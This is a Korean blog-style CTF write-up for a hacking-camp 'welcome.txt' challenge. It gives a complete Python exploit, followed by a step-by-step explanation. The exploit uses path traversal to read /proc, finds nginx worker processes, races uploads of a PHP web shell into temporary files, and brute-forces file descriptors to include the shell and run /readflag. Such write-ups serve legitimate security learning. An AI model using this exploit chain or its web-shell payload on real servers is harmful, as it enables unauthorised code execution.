해킹캠프 wel come.txt CTF

idontbelonghere·2025년 2월 15일
#!/usr/bin/env python3
import sys, threading, requests

URL = f'http://3.39.38.109:9999'

# find nginx worker processes 
r  = requests.get(URL, params={
    'only[welcome.txt': '../../.txt/../../../proc/cpuinfo'
})
cpus = r.text.count('processor')
print(cpus)
# r  = requests.get(URL, params={
#     'only[welcome.txt': '../../.txt/../../../proc/sys/kernel/pid_max'
# })
# pid_max = int(r.text)
pid_max = int(500)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'only[welcome.txt': f'../../.txt/../../../proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'../../.txt/../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'only[welcome.txt': f,
                'c': f'/readflag'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()
  1. 시스템 정보 수집:
# /proc/cpuinfo에서 CPU 개수를 확인
r = requests.get(URL, params={
    'only[welcome.txt': '../../.txt/../../../proc/cpuinfo'
})
cpus = r.text.count('processor')

먼저 시스템의 CPU 수를 알아내기 위해 /proc/cpuinfo 파일을 읽습니다
only[welcome.txt라는 배열 형태의 파라미터를 사용해 경로 탐색을 시도합니다

  1. Nginx 워커 프로세스 찾기:
# 프로세스를 순회하면서 nginx 워커를 찾음
for pid in range(pid_max):
    r = requests.get(URL, params={
        'only[welcome.txt': f'../../.txt/../../../proc/{pid}/cmdline'
    })

모든 프로세스를 순회하면서 nginx 워커 프로세스를 찾습니다
찾은 워커의 PID를 저장합니다.

  1. 레이스 컨디션 공격:
def uploader():
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
  • PHP 코드를 포함한 대용량 데이터를 지속적으로 업로드합니다
  • 16개의 스레드를 생성해 동시에 업로드를 시도합니다
  • 이는 서버의 임시 파일 처리에 레이스 컨디션을 발생시키기 위함입니다
  1. 파일 디스크립터 브루트포스:
def bruter(pid):
    while not done:
        for fd in range(4, 32):
            f = f'../../.txt/../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'

nginx 워커의 파일 디스크립터를 순회하면서
업로드된 PHP 코드가 있는 임시 파일을 찾으려 시도합니다
성공하면 /readflag 명령을 실행해 플래그를 얻습니다

이 익스플로잇이 작동하는 원리:

  1. 배열 표기법을 이용한 경로 탐색 취약점
  2. 파일 처리 과정의 레이스 컨디션 취약점
  3. /proc을 통한 파일 디스크립터 노출
  4. 임시 파일 접근 타이밍 공격

즉, 단순한 경로 탐색으로는 해결할 수 없었던 이유가, 실제로는 레이스 컨디션을 이용한 복잡한 공격이기 때문이다

profile
해킹을 잘하자

0개의 댓글